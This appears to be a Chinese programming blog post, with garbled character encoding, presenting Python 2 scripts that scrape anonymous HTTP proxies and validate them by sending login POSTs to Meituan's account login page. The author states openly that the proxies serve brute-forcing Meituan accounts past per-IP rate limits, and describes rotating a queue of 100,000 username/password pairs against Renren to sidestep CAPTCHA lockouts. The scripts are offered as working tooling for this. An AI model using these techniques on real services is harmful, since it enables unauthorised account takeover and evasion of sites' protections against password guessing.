批量獲取及驗(yàn)證HTTP代理的Python腳本
1. 在掃號(hào)人人網(wǎng)時(shí),我遇到單個(gè)賬號(hào)錯(cuò)誤兩次,強(qiáng)制要求輸入驗(yàn)證碼,而對(duì)方并未實(shí)施IP策略。
我采用維護(hù)10萬(用戶名,密碼) 隊(duì)列的方式來繞過驗(yàn)證碼。具體的做法是,當(dāng)某個(gè)用戶名、密碼組合遇到需要驗(yàn)證碼,就把該破解序列掛起,放到隊(duì)列尾部等待下次測(cè)試,繼續(xù)破解其他賬號(hào)密碼。
這樣就可以保證2/3的時(shí)間都在進(jìn)行正常破解和掃號(hào)。
2. 在破解美團(tuán)網(wǎng)某系統(tǒng)賬號(hào)時(shí),我遇到了單個(gè)IP訪問有一定限制,請(qǐng)求頻率不可過快。于是我掛了72個(gè) HTTP代理來解決這個(gè)問題。 看似每個(gè)IP的請(qǐng)求都正常,但其實(shí)從整個(gè)程序上看,效率還是挺可觀的。
本篇我發(fā)出自己抓HTTP的腳本片段,其實(shí)只有幾行。匿名代理是從這里抓取的:http://www.xici.net.co/nn/
首先獲取代理列表 :
from bs4 import BeautifulSoup
import urllib2
of = open('proxy.txt' , 'w')
for page in range(1, 160):
html_doc = urllib2.urlopen('http://www.xici.net.co/nn/' + str(page) ).read()
soup = BeautifulSoup(html_doc)
trs = soup.find('table', id='ip_list').find_all('tr')
for tr in trs[1:]:
tds = tr.find_all('td')
ip = tds[1].text.strip()
port = tds[2].text.strip()
protocol = tds[5].text.strip()
if protocol == 'HTTP' or protocol == 'HTTPS':
of.write('%s=%s:%s\n' % (protocol, ip, port) )
print '%s=%s:%s' % (protocol, ip, port)
of.close()接著驗(yàn)證代理是否可用,因?yàn)槲沂怯糜谄平饷缊F(tuán)網(wǎng)系統(tǒng)的賬號(hào),因此用了美團(tuán)的頁面標(biāo)記:
#encoding=gbk
import httplib
import time
import urllib
import threading
inFile = open('proxy.txt', 'r')
outFile = open('available.txt', 'w')
lock = threading.Lock()
def test():
while True:
lock.acquire()
line = inFile.readline().strip()
lock.release()
if len(line) == 0: break
protocol, proxy = line.split('=')
headers = {'Content-Type': 'application/x-www-form-urlencoded',
'Cookie': ''}
try:
conn = httplib.HTTPConnection(proxy, timeout=3.0)
conn.request(method='POST', url='http://e.meituan.com/m/account/login', body='login=ttttttttttttttttttttttttttttttttttttt&password=bb&remember_username=1&auto_login=1', headers=headers )
res = conn.getresponse()
ret_headers = str( res.getheaders() )
html_doc = res.read().decode('utf-8')
print html_doc.encode('gbk')
if ret_headers.find(u'/m/account/login/') > 0:
lock.acquire()
print 'add proxy', proxy
outFile.write(proxy + '\n')
lock.release()
else:
print '.',
except Exception, e:
print e
all_thread = []
for i in range(50):
t = threading.Thread(target=test)
all_thread.append(t)
t.start()
for t in all_thread:
t.join()
inFile.close()
outFile.close()- Python程序中設(shè)置HTTP代理
- Python3.4實(shí)現(xiàn)從HTTP代理網(wǎng)站批量獲取代理并篩選的方法示例
- Python request設(shè)置HTTPS代理代碼解析
- 對(duì)python使用http、https代理的實(shí)例講解
- Python代碼實(shí)現(xiàn)http/https代理服務(wù)器的腳本
- python爬蟲http代理使用方法
- Python異步爬蟲requests和aiohttp中代理IP的使用
- python使用aiohttp通過設(shè)置代理爬取基金數(shù)據(jù)簡單示例
- 解決python異步框架aiohttp無法使用本地代理問題
- python做http代理請(qǐng)求的項(xiàng)目實(shí)踐
相關(guān)文章
使用python批量轉(zhuǎn)換文件編碼為UTF-8的實(shí)現(xiàn)
這篇文章主要介紹了使用python批量轉(zhuǎn)換文件編碼為UTF-8的實(shí)現(xiàn),文中通過示例代碼介紹的非常詳細(xì),對(duì)大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價(jià)值,需要的朋友們下面隨著小編來一起學(xué)習(xí)學(xué)習(xí)吧2020-04-04
Python3.6簡單的操作Mysql數(shù)據(jù)庫的三個(gè)實(shí)例
今天小編就為大家分享一篇關(guān)于Python3.6簡單的操作Mysql數(shù)據(jù)庫的三個(gè)實(shí)例,小編覺得內(nèi)容挺不錯(cuò)的,現(xiàn)在分享給大家,具有很好的參考價(jià)值,需要的朋友一起跟隨小編來看看吧2018-10-10
python獲取標(biāo)準(zhǔn)北京時(shí)間的方法
這篇文章主要介紹了python獲取標(biāo)準(zhǔn)北京時(shí)間的方法,實(shí)例分析了Python通過www.beijing-time.org的官網(wǎng)獲取標(biāo)準(zhǔn)北京時(shí)間的技巧,具有一定參考借鑒價(jià)值,需要的朋友可以參考下2015-03-03
Python PyMySQL操作MySQL數(shù)據(jù)庫的方法詳解
PyMySQL是一個(gè)用于Python編程語言的純Python MySQL客戶端庫,它遵循Python標(biāo)準(zhǔn)DB API接口,并提供了許多方便的功能,本文就來和大家簡單介紹一下吧2023-05-05
python制作可視化GUI界面自動(dòng)分類管理文件
這篇文章主要為大家介紹了python制作可視化GUI界面實(shí)現(xiàn)自動(dòng)分類管理文件,有需要的朋友可以借鑒參考下,希望能夠有所幫助,祝大家多多進(jìn)步,早日升職加薪2022-05-05
PYQT5實(shí)現(xiàn)控制臺(tái)顯示功能的方法
今天小編大家分享一篇PYQT5實(shí)現(xiàn)控制臺(tái)顯示功能的方法,具有很好的參考價(jià)值,希望對(duì)大家有所幫助。一起跟隨小編過來看看吧2019-06-06
利用Python開發(fā)一個(gè)自動(dòng)答題程序
這篇文章主要為大家詳細(xì)介紹了如何利用Python開發(fā)一個(gè)自動(dòng)答題程序,文中的示例代碼講解詳細(xì),感興趣的小伙伴可以跟隨小編一起了解一下2023-02-02

